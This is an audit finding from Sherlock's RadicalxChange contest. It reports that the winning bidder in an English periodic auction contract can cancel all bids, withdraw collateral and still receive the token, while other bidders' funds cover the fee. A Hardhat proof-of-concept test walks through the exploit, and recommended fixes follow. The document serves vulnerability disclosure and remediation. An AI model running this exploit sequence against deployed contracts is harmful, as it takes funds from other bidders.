The winning bidder can close all bids and still win the token without paying anything. Furthermore, a very high bid will cause monetary loss to other bidders as they will need to cover the bidding fee.

Summary

The EnglishPeriodicAuctionFacet.sol contract provides a method for the bidders to cancel all of their bids via the EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral() function. If the bidder is the winning bidder, then all of their bid amounts are reset to 0, and there is no checks performed to ensure that the bidder is not a winning bidder, and the highestBids storage state is not updated to reflect this.

This causes the close auction method to still consider the bidder that has withdrawn all the bids as the bid winner, and the bidder gets the token without paying for the bid. When the token is transferred, it pulls the funds from other bidders to cover for the fee amount, thereby creating monetary loss for other bidders too.

Links to affected code

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/facets/EnglishPeriodicAuctionFacet.sol#L187

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L416

Vulnerability Detail

The EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral() allows the bidders to cancel all of their bids, and get their collateral.

This internally calls EnglishPeriodicAuctionInternal::_cancelBid function which sets all the bids of the bidder for all the rounds to 0:

function _cancelAllBids(uint256 tokenId, address bidder) internal {
    EnglishPeriodicAuctionStorage.Layout storage l = EnglishPeriodicAuctionStorage.layout();

    uint256 currentAuctionRound = l.currentAuctionRound[tokenId];

    for (uint256 i = 0; i <= currentAuctionRound; i++) {
        Bid storage bid = l.bids[tokenId][i][bidder];

        if (bid.collateralAmount > 0) {
            // Make collateral available to withdraw
            l.availableCollateral[bidder] += bid.collateralAmount;

            // Reset collateral and bid
            bid.collateralAmount = 0;
            bid.bidAmount = 0;
        }
    }
}

Furthermore, the EnglishPeriodicAuctionInternal::_withdrawCollateral() function is called which withdraws all the available collateral from the canceled bids back to the bidder:

function _withdrawCollateral(address bidder) internal {
    EnglishPeriodicAuctionStorage.Layout storage l = EnglishPeriodicAuctionStorage.layout();

    uint256 collateralAmount = l.availableCollateral[bidder];

    require(collateralAmount > 0, "EnglishPeriodicAuction: No collateral to withdraw");

    // Make collateral unavailable to withdraw
    l.availableCollateral[bidder] = 0;

    // Transfer collateral back to bidder
    //slither-disable-next-line low-level-calls
    (bool success,) = bidder.call{value: collateralAmount}("");
    require(success, "EnglishPeriodicAuction: Failed to withdraw collateral");
}

Therefore, after calling EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(), the bids are reset to 0, and any funds that were sent by the bidder to the contract gets transferred back to the bidder.

Now, once the auction is over, the EnglishPeriodicAuctionFacet::closeAuction() is called. This function still determines that the bidder who withdrew all of their bids is still the bid winner because the highestBids storage state variable retains the bidder as the bid winner.

Impact

When the bidder calls EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(), they get to cancel all of their bids, and get their collateral back. But the system still treats this bidder as the bid winner, and upon closing the auction, this bidder wins the bid on the token without paying anything for the bid amount.

Furthermore, when close auction is called, the fee is transferred to the beneficiary, which is taken from the contract balance. Because the bidder already pulled all of their funds back, this fee amount gets covered from the contract's balance which actually belongs to other bidders that did not win the auctions. The attacking bidder can put a large big such that the fee is very high, which will cause monetary loss to the other bidders.

In summary, there are two primary impacts:

The attacker bidder gets the token without paying for the token
The attacker bidder can post a very large bid, and then cancel all the bids. This will cause other bidders fund's to be used to cover the fee for the large bid that was placed by the attacker bid.
- If there are no other bidders for the round, then the auction cannot be closed, as not enough funds will be available to transfer the fee to the beneficiary. This will then require sending of some funds to the contract, and then calling the close auction function, otherwise the auction will remain stuck.

Code Snippet

Place the below code in test/auction/EnglishPeriodicAuction.ts, and run using yarn run hardhat test:

describe.only('PoC', function () {
  it('close all bids and win the token without paying anything. Also DoS the close auction mechanism if not enough funds available', async function () {
    let gasSpentByBidder = ethers.utils.parseEther("0");

    // Auction start: Now - 200
    // Auction end: Now + 100
    const instance = await getInstance({
      auctionLengthSeconds: 300,
      initialPeriodStartTime: (await time.latest()) - 200,
      licensePeriod: 1000,
    });
    const licenseMock = await ethers.getContractAt(
      'NativeStewardLicenseMock',
      instance.address,
    );

    const bidder1_initialBalance = await ethers.provider.getBalance(
      bidder1.address
    );
    expect(bidder1_initialBalance).to.be.equal(ethers.utils.parseEther("10000"));

    // Bids of Bidder 1 (Attacker)
    const bidder1_bidAmount = ethers.utils.parseEther('100');
    const bidder1_feeAmount = await instance.calculateFeeFromBid(bidder1_bidAmount);
    const bidder1_collateralAmount = bidder1_feeAmount.add(bidder1_bidAmount);

    // Bids of Bidder 2 (Victim)
    const bidder2_bidAmount = ethers.utils.parseEther('10');
    const bidder2_feeAmount = await instance.calculateFeeFromBid(bidder2_bidAmount);
    const bidder2_collateralAmount = bidder2_feeAmount.add(bidder2_bidAmount);

    await instance
      .connect(bidder2)
      .placeBid(0, bidder2_bidAmount, { value: bidder2_collateralAmount });

    const bidder1_bid = await instance
      .connect(bidder1)
      .placeBid(0, bidder1_bidAmount, { value: bidder1_collateralAmount });

    const bidder1_bid_receipt = (await bidder1_bid.wait())
    gasSpentByBidder = gasSpentByBidder.add(bidder1_bid_receipt.gasUsed.mul(bidder1_bid_receipt.effectiveGasPrice));

    // The attacker bidder placed the bid, and the eth balance got reduced
    const bidder1_BalanceAfterBid = await ethers.provider.getBalance(
      bidder1.address
    );
    expect(bidder1_BalanceAfterBid.add(gasSpentByBidder)).to.be.equal(bidder1_initialBalance.sub(bidder1_collateralAmount));

    const oldBeneficiaryBalance = await ethers.provider.getBalance(
      nonOwner.address,
    );

    await time.increase(100);

    const bidder1_cancelAllBids = await instance.connect(bidder1).cancelAllBidsAndWithdrawCollateral(0);
    const bidder1_cancelAllBids_receipt = (await bidder1_cancelAllBids.wait())
    gasSpentByBidder = gasSpentByBidder.add(bidder1_cancelAllBids_receipt.gasUsed.mul(bidder1_cancelAllBids_receipt.effectiveGasPrice));

    // The attacker bidder canceled the bids, and the balances were returned
    const bidder1_balanceAfterCancelingBids = await ethers.provider.getBalance(
      bidder1.address
    );
    expect(bidder1_balanceAfterCancelingBids.add(gasSpentByBidder)).to.be.equal(bidder1_initialBalance);

    await instance.connect(bidder2).closeAuction(0);

    const newBeneficiaryBalance = await ethers.provider.getBalance(
      nonOwner.address,
    );

    expect(await instance.availableCollateral(owner.address)).to.be.equal(bidder1_bidAmount);

    const highestBid = await instance['highestBid(uint256,uint256)'](0, 0);
    const bidder1Bid = await instance['bidOf(uint256,uint256,address)'](
      0,
      0,
      bidder1.address,
    );

    expect(await instance.availableCollateral(bidder1.address)).to.be.equal(
      0,
    );

    expect(bidder1Bid.collateralAmount).to.be.equal(0);

    expect(highestBid.bidder).to.be.equal(bidder1.address);
    expect(highestBid.bidAmount).to.be.equal(bidder1_bidAmount);
    expect(highestBid.feeAmount).to.be.equal(bidder1_feeAmount);
    expect(highestBid.collateralAmount).to.be.equal(0);

    // The attacker bidder got away with the token by just paying the fee, and not the whole bid amount
    expect(await licenseMock.ownerOf(0)).to.be.equal(bidder1.address);

    const bidder1_finalBalance = await ethers.provider.getBalance(
      bidder1.address
    );
    // The attacker bidder only had to pay some gas to win the token
    expect(bidder1_initialBalance.sub(bidder1_finalBalance)).to.be.equal(gasSpentByBidder);

    // The other bidders cannot withdraw their collateral,
    // as their funds went into covering the fee for the attacker bidder
    await expect(instance.connect(bidder2).cancelAllBidsAndWithdrawCollateral(0)).to.be.reverted;

    // Fee is distributed to beneficiary
    expect(newBeneficiaryBalance.sub(oldBeneficiaryBalance)).to.be.equal(
      bidder1_feeAmount,
    );
  });
});

Tool used

Manual Review

Recommendation

Similar to EnglishPeriodicAuctionInternal::_cancelBid(), ensure that the caller does not have the highest bid for the current round of the ongoing auction.
Or, skip the current auction rounds of the tokens in the EnglishPeriodicAuctionInternal::_cancelAllBids() function.

Duplicate of #14

sherlock-audit / 2024-02-radicalxchange-judging

neocrao - The winning bidder can close all bids and still win the token without paying anything. Furthermore, a very high bid will cause monetary loss to other bidders as they will need to cover the bidding fee. #76